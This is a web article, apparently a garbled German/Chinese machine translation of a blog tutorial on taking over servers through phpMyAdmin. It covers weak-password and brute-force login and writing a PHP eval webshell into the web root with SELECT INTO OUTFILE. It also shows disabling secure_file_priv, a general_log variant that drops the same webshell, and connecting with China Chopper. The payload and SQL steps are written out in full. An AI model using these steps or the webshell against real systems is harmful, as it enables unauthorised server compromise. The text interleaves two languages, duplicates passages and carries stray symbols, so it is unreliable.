Heim  >  Artikel  >  Datenbank  >  PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)

PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)

藏色散人
藏色散人nach vorne
2021-06-17 14:57:283352Durchsuche

Das Folgende ist eine Einführung in die PhpMyAdmin-Hintergrund-Getshell (Penetrationstest) aus der phpmyadminTutorial-Kolumne. Ich hoffe, dass sie für Freunde hilfreich sein wird, die sie benötigen!

Einführung in PhpMyAdmin

PhpMyAdmin ist ein MySQL-Datenbankverwaltungstool, das auf PHP basiert und im Web-Base-Modus auf dem Website-Host strukturiert ist und es Administratoren ermöglicht, die Webschnittstelle zur Verwaltung von MySQL-Datenbanken zu verwenden. Diese Weboberfläche kann eine bessere Möglichkeit sein, komplexe SQL-Syntax auf einfache Weise einzugeben, insbesondere wenn es um den Import und Export großer Datenmengen geht.
PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)
Wenn nach dem Sammeln und Erkennen von Informationen auf dem Ziel festgestellt wird, dass es ein phpmyadmin-Verzeichnis gibt (versuchen Sie es mit: http://ip:port/phpmyadmin/), dann über das schwache Passwort ( http://ip:端口/phpmyadmin/ )时,进而通过弱口令(可以直接尝试下账号root密码root)或者暴力破解进入管理后台之后,有多种方法进行getshell。
PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)

into outfile导出木马

想在网站内部插入木马,前提是你得知道网站的绝对路径,方法也有很多,比如通过报错获取路径,通过phpinfo.php等等(可参考另一篇博文:https://blog.csdn.net/weixin_39190897/article/details/99078864 )。

最方便的是用select @@basedir;直接查(但有时没法查出来,只能另寻它法):
PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)

根据上面的反馈,我们可以看到 MySQL 的位置在 D:softphpStudyMySQL目录下。

获得网站路径后就可以企图上传木马了,最常用的是通过into outfile在网站根目录上直接写入一句话木马:

select '<?php eval($_POST[cmd]); ?>' into outfile 'D:softphpStudywwwxxx.php';

但在新版的mysql中,这句话并没有运行成功。
PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)
Mysql新特性secure_file_priv会对读写文件产生影响,该参数用来限制导入导出。我们可以借助show global variables like '%secure%';命令来查看该参数:
PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)
secure_file_priv为NULL时,表示限制Mysql不允许导入导出,所以爆出错误。要想使得该语句导出成功,则需要在Mysql文件夹下修改my.ini 文件,在[mysqld]内加入secure_file_priv ="" 即可:
PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)
secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制,此时就可以执行导出命令。

利用Mysql日志文件

Mysql 5.0版本以上会创建日志文件,通过修改日志的全局变量,也可以getshell。但是也要对生成的日志有可读可写的权限。(注:linux因为权限问题亲测没有成功)。先来介绍两个MySQL全局变量:general_loggeneral_log file

  1. general log 指的是日志保存状态,ON代表开启 OFF代表关闭;
  2. general log file 指的是日志的保存路径。

查看日志状态的命令:show variables like '%general%';
PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)
在以上配置中,当开启general时,所执行的sql语句都会出现在WIN-30DFNC8L78A.log Sie können das Root-Passwort des Kontos (root) direkt ausprobieren oder Brute Force verwenden, um den Verwaltungshintergrund aufzurufen. Es gibt viele Möglichkeiten, die Shell zu erhalten. Bildbeschreibung hier einfügen

🎜in den Outfile-Export-Trojaner🎜 🎜 Wenn Sie einen Trojaner in die Website einfügen möchten, müssen Sie den absoluten Pfad der Website kennen. Es gibt viele Methoden, z. B. den Pfad über Fehlerberichte, phpinfo.php usw. zu ermitteln. (Siehe einen anderen Blog-Beitrag: https ://blog.csdn.net/weixin_39190897/article/details/99078864). 🎜🎜Am bequemsten ist es, mit select @@basedir; direkt zu prüfen (aber manchmal kann man es nicht herausfinden, also muss man einen anderen Weg finden): 🎜Bildbeschreibung hier einfügen🎜🎜Dem obigen Feedback können wir entnehmen, dass MySQL vorhanden ist befindet sich im Verzeichnis D: softphpStudyMySQL. 🎜🎜Nachdem Sie den Website-Pfad erhalten haben, können Sie versuchen, den Trojaner hochzuladen. Die häufigste Methode besteht darin, einen Trojaner-Satz direkt in das Stammverzeichnis der Website über in die Ausgabedatei zu schreiben: 🎜🎜 select '<?php eval($_POST[cmd]); ?>' into outfile 'D:softphpStudywwwxxx.php';Aber in der neuen Version von MySQL wurde dieser Satz nicht erfolgreich ausgeführt. 🎜Bildbeschreibung hier einfügen🎜 Neue MySQL-Funktionen secure_file_priv wirkt sich auf das Lesen und Schreiben von Dateien aus. Dieser Parameter wird verwendet, um den Import und Export einzuschränken. Wir können den Befehl globale Variablen wie '%secure%' anzeigen; verwenden, um diesen Parameter anzuzeigen: 🎜Bildbeschreibung hier einfügen🎜 Wenn secure_file_priv NULL ist, bedeutet dies, dass MySQL vom Import und Export ausgeschlossen ist, sodass ein Fehler auftritt. Damit die Anweisung erfolgreich exportiert werden kann, müssen Sie die Datei my.ini im Mysql-Ordner ändern und secure_file_priv ="" zu [mysqld] hinzufügen: 🎜🎜 Wenn secure_file_privWenn der Wert von > hat keinen bestimmten Wert, was bedeutet, dass es keine Einschränkung für den Import/Export von mysqld gibt und der Exportbefehl zu diesem Zeitpunkt ausgeführt werden kann. 🎜🎜Verwenden von MySQL-Protokolldateien🎜🎜MySQL-Version 5.0 und höher erstellt Protokolldateien. Durch Ändern der globalen Variablen des Protokolls können Sie auch eine Getshell erstellen. Sie müssen aber auch über Lese- und Schreibberechtigungen für die generierten Protokolle verfügen. (Hinweis: Der persönliche Test unter Linux war aufgrund von Berechtigungsproblemen nicht erfolgreich.) Lassen Sie uns zunächst zwei globale MySQL-Variablen einführen: general_log und general_log file. 🎜
  1. 🎜allgemeines Protokoll🎜 bezieht sich auf den Protokollspeicherstatus, EIN bedeutet offen und AUS bedeutet geschlossen
  2. 🎜allgemeine Protokolldatei🎜 bezieht sich auf den Speicherpfad des Protokolls.
🎜Befehl zum Anzeigen des Protokollstatus: zeige Variablen wie „%general%“;🎜Bildbeschreibung hier einfügen🎜 Wenn in der obigen Konfiguration „Allgemein“ aktiviert ist, werden die von 🎜 ausgeführten SQL-Anweisungen in WIN-30DFNC8L78A angezeigt .logDatei 🎜. 🎜

Wenn Sie dann general_log_file的值,那么所执行的sql语句就会对应生成,进而getshell。
PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)
对应就会生成xxx.php文件
PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)
将一句话木马写入xxx.php文件:SELECT '<?php eval($_POST["cmd"]);?>'
PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)
ändern, können Sie die in der Protokolldatei aufgezeichnete Trojaner-Anweisung sehen:
PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)Schließlich die chinesische Chopper-Verbindung, getshell:
PHPMyAdmin-Hintergrund-Getshell (Penetrationstest)

Das obige ist der detaillierte Inhalt vonPHPMyAdmin-Hintergrund-Getshell (Penetrationstest). Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:csdn.net. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen